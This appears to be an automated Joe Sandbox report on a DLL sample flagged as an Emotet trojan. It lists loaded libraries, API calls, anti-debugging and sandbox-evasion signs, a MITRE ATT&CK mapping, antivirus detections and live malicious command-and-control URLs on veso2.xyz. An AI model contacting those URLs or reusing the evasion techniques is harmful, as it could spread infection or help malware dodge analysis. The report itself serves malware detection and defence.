Source:	Binary string: dhcpcsvc6.pdb5 source: WerFault.exe, 00000009.00000003.642375738.0000000000AB7000.00000004.00000040.sdmp
Source:	Binary string: imagehlp.pdb source: WerFault.exe, 00000008.00000003.641899016.00000000059C7000.00000004.00000040.sdmp, WerFault.exe, 00000009.00000003.642375738.0000000000AB7000.00000004.00000040.sdmp, WerFault.exe, 0000000C.00000003.651029204.00000000056B7000.00000004.00000040.sdmp
Source:	Binary string: wUxTheme.pdb source: WerFault.exe, 00000008.00000003.641899016.00000000059C7000.00000004.00000040.sdmp, WerFault.exe, 00000009.00000003.642375738.0000000000AB7000.00000004.00000040.sdmp, WerFault.exe, 0000000C.00000003.651029204.00000000056B7000.00000004.00000040.sdmp
Source:	Binary string: oleaut32.pdbN source: WerFault.exe, 00000009.00000003.642375738.0000000000AB7000.00000004.00000040.sdmp
Source:	Binary string: iphlpapi.pdbr source: WerFault.exe, 00000008.00000003.641899016.00000000059C7000.00000004.00000040.sdmp
Source:	Binary string: wntdll.pdb( source: WerFault.exe, 00000008.00000003.636702692.0000000003380000.00000004.00000001.sdmp, WerFault.exe, 0000000C.00000003.642507283.000000000337E000.00000004.00000001.sdmp
Source:	Binary string: profapi.pdb source: WerFault.exe, 00000008.00000003.641899016.00000000059C7000.00000004.00000040.sdmp, WerFault.exe, 00000009.00000003.642375738.0000000000AB7000.00000004.00000040.sdmp, WerFault.exe, 0000000C.00000003.651029204.00000000056B7000.00000004.00000040.sdmp
Source:	Binary string: dhcpcsvc6.pdb source: WerFault.exe, 00000008.00000003.641899016.00000000059C7000.00000004.00000040.sdmp, WerFault.exe, 00000009.00000003.642375738.0000000000AB7000.00000004.00000040.sdmp, WerFault.exe, 0000000C.00000003.651029204.00000000056B7000.00000004.00000040.sdmp
Source:	Binary string: oleaut32.pdb` source: WerFault.exe, 00000008.00000003.641899016.00000000059C7000.00000004.00000040.sdmp
Source:	Binary string: wgdi32full.pdb source: WerFault.exe, 00000008.00000003.641867150.00000000057F1000.00000004.00000001.sdmp, WerFault.exe, 00000009.00000003.642348712.0000000004E81000.00000004.00000001.sdmp, WerFault.exe, 0000000C.00000003.650931846.00000000056E1000.00000004.00000001.sdmp
Source:	Binary string: setupapi.pdb, source: WerFault.exe, 00000009.00000003.642375738.0000000000AB7000.00000004.00000040.sdmp
Source:	Binary string: sfc_os.pdbG source: WerFault.exe, 0000000C.00000003.651029204.00000000056B7000.00000004.00000040.sdmp
Source:	Binary string: sechost.pdb source: WerFault.exe, 00000008.00000003.641899016.00000000059C7000.00000004.00000040.sdmp, WerFault.exe, 00000009.00000003.642375738.0000000000AB7000.00000004.00000040.sdmp, WerFault.exe, 0000000C.00000003.651029204.00000000056B7000.00000004.00000040.sdmp
Source:	Binary string: nlaapi.pdbe source: WerFault.exe, 00000008.00000003.641899016.00000000059C7000.00000004.00000040.sdmp
Source:	Binary string: propsys.pdb source: WerFault.exe, 00000008.00000003.641899016.00000000059C7000.00000004.00000040.sdmp, WerFault.exe, 00000009.00000003.642375738.0000000000AB7000.00000004.00000040.sdmp, WerFault.exe, 0000000C.00000003.651029204.00000000056B7000.00000004.00000040.sdmp
Source:	Binary string: cfgmgr32.pdbk source: WerFault.exe, 00000008.00000003.641893367.00000000059C1000.00000004.00000040.sdmp, WerFault.exe, 00000009.00000003.642418429.0000000000AB4000.00000004.00000040.sdmp, WerFault.exe, 0000000C.00000003.651005092.00000000056B1000.00000004.00000040.sdmp
Source:	Binary string: winspool.pdbx source: WerFault.exe, 00000008.00000003.641899016.00000000059C7000.00000004.00000040.sdmp
Source:	Binary string: winrnr.pdb source: WerFault.exe, 00000008.00000003.641899016.00000000059C7000.00000004.00000040.sdmp, WerFault.exe, 00000009.00000003.642375738.0000000000AB7000.00000004.00000040.sdmp, WerFault.exe, 0000000C.00000003.651029204.00000000056B7000.00000004.00000040.sdmp
Source:	Binary string: bcrypt.pdbc source: WerFault.exe, 0000000C.00000003.651029204.00000000056B7000.00000004.00000040.sdmp
Source:	Binary string: msctf.pdb source: WerFault.exe, 00000008.00000003.641899016.00000000059C7000.00000004.00000040.sdmp, WerFault.exe, 00000009.00000003.642375738.0000000000AB7000.00000004.00000040.sdmp, WerFault.exe, 0000000C.00000003.651029204.00000000056B7000.00000004.00000040.sdmp
Source:	Binary string: wUxTheme.pdb5 source: WerFault.exe, 0000000C.00000003.651029204.00000000056B7000.00000004.00000040.sdmp
Source:	Binary string: wmswsock.pdb source: WerFault.exe, 00000008.00000003.641899016.00000000059C7000.00000004.00000040.sdmp, WerFault.exe, 00000009.00000003.642375738.0000000000AB7000.00000004.00000040.sdmp, WerFault.exe, 0000000C.00000003.651029204.00000000056B7000.00000004.00000040.sdmp
Source:	Binary string: ws2_32.pdbf source: WerFault.exe, 0000000C.00000003.651029204.00000000056B7000.00000004.00000040.sdmp
Source:	Binary string: dhcpcsvc.pdbY source: WerFault.exe, 00000009.00000003.642375738.0000000000AB7000.00000004.00000040.sdmp
Source:	Binary string: wUxTheme.pdb> source: WerFault.exe, 00000008.00000003.641899016.00000000059C7000.00000004.00000040.sdmp
Source:	Binary string: Kernel.Appcore.pdb source: WerFault.exe, 00000008.00000003.641942201.00000000059C0000.00000004.00000040.sdmp, WerFault.exe, 00000009.00000003.642409344.0000000000AB0000.00000004.00000040.sdmp, WerFault.exe, 0000000C.00000003.651140195.00000000056B0000.00000004.00000040.sdmp
Source:	Binary string: setupapi.pdbL source: WerFault.exe, 00000008.00000003.641899016.00000000059C7000.00000004.00000040.sdmp
Source:	Binary string: wmswsock.pdb~ source: WerFault.exe, 0000000C.00000003.651029204.00000000056B7000.00000004.00000040.sdmp
Source:	Binary string: msctf.pdb, source: WerFault.exe, 00000008.00000003.641899016.00000000059C7000.00000004.00000040.sdmp
Source:	Binary string: cryptbase.pdb source: WerFault.exe, 00000008.00000003.641899016.00000000059C7000.00000004.00000040.sdmp, WerFault.exe, 00000009.00000003.642375738.0000000000AB7000.00000004.00000040.sdmp, WerFault.exe, 0000000C.00000003.651029204.00000000056B7000.00000004.00000040.sdmp
Source:	Binary string: winspool.pdbr source: WerFault.exe, 00000009.00000003.642375738.0000000000AB7000.00000004.00000040.sdmp
Source:	Binary string: winspool.pdbo source: WerFault.exe, 0000000C.00000003.651029204.00000000056B7000.00000004.00000040.sdmp
Source:	Binary string: bcrypt.pdbt source: WerFault.exe, 00000008.00000003.641899016.00000000059C7000.00000004.00000040.sdmp
Source:	Binary string: wkernelbase.pdb( source: WerFault.exe, 00000008.00000003.636714132.000000000338C000.00000004.00000001.sdmp, WerFault.exe, 0000000C.00000003.642523716.000000000338A000.00000004.00000001.sdmp
Source:	Binary string: bcryptprimitives.pdb source: WerFault.exe, 00000008.00000003.641942201.00000000059C0000.00000004.00000040.sdmp, WerFault.exe, 00000009.00000003.642409344.0000000000AB0000.00000004.00000040.sdmp, WerFault.exe, 0000000C.00000003.651140195.00000000056B0000.00000004.00000040.sdmp
Source:	Binary string: oleaut32.pdb{ source: WerFault.exe, 0000000C.00000003.651029204.00000000056B7000.00000004.00000040.sdmp
Source:	Binary string: oleaut32.pdb source: WerFault.exe, 00000008.00000003.641899016.00000000059C7000.00000004.00000040.sdmp, WerFault.exe, 00000009.00000003.642375738.0000000000AB7000.00000004.00000040.sdmp, WerFault.exe, 0000000C.00000003.651029204.00000000056B7000.00000004.00000040.sdmp
Source:	Binary string: wuser32.pdb source: WerFault.exe, 00000008.00000003.641867150.00000000057F1000.00000004.00000001.sdmp, WerFault.exe, 00000009.00000003.642348712.0000000004E81000.00000004.00000001.sdmp, WerFault.exe, 0000000C.00000003.650931846.00000000056E1000.00000004.00000001.sdmp
Source:	Binary string: dhcpcsvc.pdb} source: WerFault.exe, 00000008.00000003.641899016.00000000059C7000.00000004.00000040.sdmp
Source:	Binary string: cryptbase.pdbn source: WerFault.exe, 00000008.00000003.641899016.00000000059C7000.00000004.00000040.sdmp
Source:	Binary string: crypt32.pdb source: WerFault.exe, 00000008.00000003.641899016.00000000059C7000.00000004.00000040.sdmp, WerFault.exe, 00000009.00000003.642375738.0000000000AB7000.00000004.00000040.sdmp, WerFault.exe, 0000000C.00000003.651029204.00000000056B7000.00000004.00000040.sdmp

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 3_2_10001100 LoadLibraryW,GetProcAddress,

3_2_10001100

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 3_2_048511A0 LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

3_2_048511A0

Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Windows\SysWOW64\rundll32.exe

Decision node followed by non-executed suspicious API: DecisionNode, Non Executed (send or recv or WinExec)

graph_10-1245

Source: C:\Windows\System32\loaddll32.exe

Thread delayed: delay time: 120000

Jump to behavior

Source: WerFault.exe, 00000008.00000002.660056693.0000000005360000.00000004.00000001.sdmp	Binary or memory string: Hyper-V RAW`U&
Source: WerFault.exe, 00000008.00000002.660334872.0000000005560000.00000002.00000001.sdmp, WerFault.exe, 00000009.00000002.659301898.0000000004BF0000.00000002.00000001.sdmp, WerFault.exe, 0000000C.00000002.699833686.00000000057D0000.00000002.00000001.sdmp	Binary or memory string: A Virtual Machine could not be started because Hyper-V is not installed.
Source: WerFault.exe, 00000008.00000002.659997799.0000000005346000.00000004.00000001.sdmp	Binary or memory string: Hyper-V RAW0
Source: WerFault.exe, 0000000C.00000002.699444115.00000000051A7000.00000004.00000001.sdmp	Binary or memory string: Hyper-V RAWp
Source: rundll32.exe, 0000000A.00000002.703140912.0000000000DAA000.00000004.00000020.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll2
Source: WerFault.exe, 00000008.00000002.660056693.0000000005360000.00000004.00000001.sdmp, WerFault.exe, 00000009.00000003.655141884.0000000004A10000.00000004.00000001.sdmp, WerFault.exe, 0000000C.00000003.697668771.00000000050DC000.00000004.00000001.sdmp	Binary or memory string: Hyper-V RAW
Source: WerFault.exe, 00000008.00000002.660334872.0000000005560000.00000002.00000001.sdmp, WerFault.exe, 00000009.00000002.659301898.0000000004BF0000.00000002.00000001.sdmp, WerFault.exe, 0000000C.00000002.699833686.00000000057D0000.00000002.00000001.sdmp	Binary or memory string: A communication protocol error has occurred between the Hyper-V Host and Guest Compute Service.
Source: WerFault.exe, 00000008.00000002.660334872.0000000005560000.00000002.00000001.sdmp, WerFault.exe, 00000009.00000002.659301898.0000000004BF0000.00000002.00000001.sdmp, WerFault.exe, 0000000C.00000002.699833686.00000000057D0000.00000002.00000001.sdmp	Binary or memory string: The communication protocol version between the Hyper-V Host and Guest Compute Services is not supported.
Source: rundll32.exe, 00000004.00000002.668093242.000000000339A000.00000004.00000020.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dlld
Source: WerFault.exe, 00000008.00000002.660334872.0000000005560000.00000002.00000001.sdmp, WerFault.exe, 00000009.00000002.659301898.0000000004BF0000.00000002.00000001.sdmp, WerFault.exe, 0000000C.00000002.699833686.00000000057D0000.00000002.00000001.sdmp	Binary or memory string: An unknown internal message was received by the Hyper-V Compute Service.

Source: C:\Windows\SysWOW64\rundll32.exe

API call chain: ExitProcess graph end node

graph_3-2269

Source: C:\Windows\SysWOW64\rundll32.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 3_2_10001100 LoadLibraryW,GetProcAddress,

3_2_10001100

Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_100010E0 mov eax, dword ptr fs:[00000030h]	3_2_100010E0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_01160456 mov eax, dword ptr fs:[00000030h]	3_2_01160456
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_0116095E mov eax, dword ptr fs:[00000030h]	3_2_0116095E
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_011A1030 mov eax, dword ptr fs:[00000030h]	3_2_011A1030
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_01150456 mov eax, dword ptr fs:[00000030h]	4_2_01150456
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_0115095E mov eax, dword ptr fs:[00000030h]	4_2_0115095E
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_01191030 mov eax, dword ptr fs:[00000030h]	4_2_01191030
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 10_2_01181030 mov eax, dword ptr fs:[00000030h]	10_2_01181030

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 3_2_011B1B50 SetLastError,SetLastError,SetLastError,SetLastError,GetNativeSystemInfo,SetLastError,VirtualAlloc,VirtualAlloc,SetLastError,GetProcessHeap,HeapAlloc,VirtualFree,SetLastError,VirtualAlloc,SetLastError,

3_2_011B1B50

Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_04851A4D SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	3_2_04851A4D
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_03371A4D SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	4_2_03371A4D
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 10_2_011B1A4D SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	10_2_011B1A4D

HIPS / PFW / Operating System Protection Evasion:

System process connects to network (likely due to code injection or exploit)

Show sources

Source: C:\Windows\SysWOW64\rundll32.exe

Domain query: veso2.xyz

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe 'C:\Users\user\Desktop\4123.dll',#1

Jump to behavior

Source: C:\Windows\SysWOW64\rundll32.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	Native API1	Application Shimming1	Process Injection111	Masquerading11	OS Credential Dumping	Security Software Discovery21	Remote Services	Archive Collected Data1	Exfiltration Over Other Network Medium	Encrypted Channel1	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Application Shimming1	Virtualization/Sandbox Evasion11	LSASS Memory	Virtualization/Sandbox Evasion11	Remote Desktop Protocol	Data from Removable Media	Exfiltration Over Bluetooth	Ingress Tool Transfer1	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	Logon Script (Windows)	Process Injection111	Security Account Manager	Remote System Discovery1	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	Non-Application Layer Protocol1	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	Rundll3211	NTDS	System Information Discovery2	Distributed Component Object Model	Input Capture	Scheduled Transfer	Application Layer Protocol1	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	Software Packing1	LSA Secrets	Remote System Discovery	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
4123.dll	56%	Virustotal		Browse
4123.dll	62%	ReversingLabs	Win32.Trojan.Emotet

Dropped Files

No Antivirus matches

Unpacked PE Files

Source	Detection	Scanner	Label	Download
10.2.rundll32.exe.d8052e.1.unpack	100%	Avira	HEUR/AGEN.1114098	Download File
10.2.rundll32.exe.11b0000.9.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
10.2.rundll32.exe.1190000.7.unpack	100%	Avira	TR/Dropper.Gen	Download File
3.2.rundll32.exe.116052e.3.unpack	100%	Avira	HEUR/AGEN.1114098	Download File
3.2.rundll32.exe.11b0000.7.unpack	100%	Avira	TR/Dropper.Gen	Download File
4.2.rundll32.exe.3370000.9.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
3.2.rundll32.exe.4850000.9.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
10.2.rundll32.exe.d823b6.2.unpack	100%	Avira	TR/Dropper.Gen	Download File
4.2.rundll32.exe.11a0000.7.unpack	100%	Avira	TR/Dropper.Gen	Download File
4.2.rundll32.exe.115052e.2.unpack	100%	Avira	HEUR/AGEN.1114098	Download File

Domains

Source	Detection	Scanner	Label	Link
veso2.xyz	11%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label
http://veso2.xyz/campo/r/r1F	100%	Avira URL Cloud	malware
http://veso2.xyz/campo/r/r1C:	100%	Avira URL Cloud	malware
http://crl.microsoftH	0%	Avira URL Cloud	safe
http://crl.microsoft	0%	URL Reputation	safe
http://crl.microsoft	0%	URL Reputation	safe
http://crl.microsoft	0%	URL Reputation	safe
http://crl.microsoft	0%	URL Reputation	safe
http://veso2.xyz/campo/r/r1	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
veso2.xyz	unknown	unknown	true	11%, Virustotal, Browse	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://veso2.xyz/campo/r/r1F	rundll32.exe, 00000003.00000002.660720123.000000000090B000.00000004.00000010.sdmp	true	Avira URL Cloud: malware	unknown
http://veso2.xyz/campo/r/r1C:	rundll32.exe, 00000003.00000002.662513941.00000000011A4000.00000004.00000001.sdmp, rundll32.exe, 00000004.00000002.668070742.0000000003372000.00000002.00000001.sdmp, rundll32.exe, 00000004.00000002.667384317.0000000001150000.00000040.00000001.sdmp, rundll32.exe, 0000000A.00000002.703520436.00000000011B2000.00000002.00000001.sdmp	true	Avira URL Cloud: malware	unknown
http://crl.microsoftH	WerFault.exe, 0000000C.00000003.697579137.0000000005109000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://crl.microsoft	WerFault.exe, 00000009.00000003.655034598.0000000004A3A000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://veso2.xyz/campo/r/r1	rundll32.exe, rundll32.exe, 0000000A.00000002.701579769.0000000000AAB000.00000004.00000010.sdmp	true	Avira URL Cloud: malware	unknown

Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public

IP	Domain	Country	Flag	ASN	ASN Name	Malicious

Private

IP
192.168.2.1

General Information

Joe Sandbox Version:	31.0.0 Emerald
Analysis ID:	384021
Start date:	08.04.2021
Start time:	14:28:46
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 6m 24s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	4123.do1 (renamed file extension from do1 to dll)
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	26
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal80.troj.evad.winDLL@12/15@3/1
EGA Information:	Successful, ratio: 75%
HDC Information:	Successful, ratio: 22% (good quality ratio 20.5%) Quality average: 83.5% Quality standard deviation: 29.5%
HCA Information:	Successful, ratio: 100% Number of executed functions: 52 Number of non-executed functions: 23
Cookbook Comments:	Adjust boot time Enable AMSI Stop behavior analysis, all processes terminated
Warnings:	Show All Exclude process from analysis (whitelisted): BackgroundTransferHost.exe, WerFault.exe, backgroundTaskHost.exe, svchost.exe, wuapihost.exe Excluded IPs from analysis (whitelisted): 52.147.198.201, 104.43.139.144, 168.61.161.212, 20.82.210.154, 13.64.90.137, 52.155.217.156, 20.54.26.129, 20.82.209.104, 23.10.249.43, 23.10.249.26 Excluded domains from analysis (whitelisted): displaycatalog-europeeap.md.mp.microsoft.com.akadns.net, skypedataprdcolwus17.cloudapp.net, arc.msn.com.nsatc.net, displaycatalog-rp-europe.md.mp.microsoft.com.akadns.net, displaycatalog.md.mp.microsoft.com.akadns.net, ris-prod.trafficmanager.net, skypedataprdcolcus17.cloudapp.net, skypedataprdcolcus16.cloudapp.net, a1449.dscg2.akamai.net, arc.msn.com, consumerrp-displaycatalog-aks2eap-europe.md.mp.microsoft.com.akadns.net, skypedataprdcoleus16.cloudapp.net, db5eap.displaycatalog.md.mp.microsoft.com.akadns.net, ris.api.iris.microsoft.com, blobcollector.events.data.trafficmanager.net, arc.trafficmanager.net, displaycatalog.mp.microsoft.com, watson.telemetry.microsoft.com, img-prod-cms-rt-microsoft-com.akamaized.net, consumerrp-displaycatalog-aks2eap.md.mp.microsoft.com.akadns.net, displaycatalog-rp.md.mp.microsoft.com.akadns.net Report size getting too big, too many NtProtectVirtualMemory calls found.

Simulations

Behavior and APIs

Time	Type	Description
14:29:30	API Interceptor	1x Sleep call for process: loaddll32.exe modified
14:29:38	API Interceptor	3x Sleep call for process: WerFault.exe modified

Joe Sandbox View / Context

IPs

No context

Domains

No context

ASN

No context

JA3 Fingerprints

No context

Dropped Files

No context

Created / dropped Files

C:\ProgramData\Microsoft\Windows\WER\ReportArchive\AppCrash_rundll32.exe_8c89162c89cd9acf4ef916dd41e49245a3ef8e_c5a4189a_17580df3\Report.wer Download File
Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Little-endian UTF-16 Unicode text, with CRLF line terminators
Category:	dropped
Size (bytes):	13646
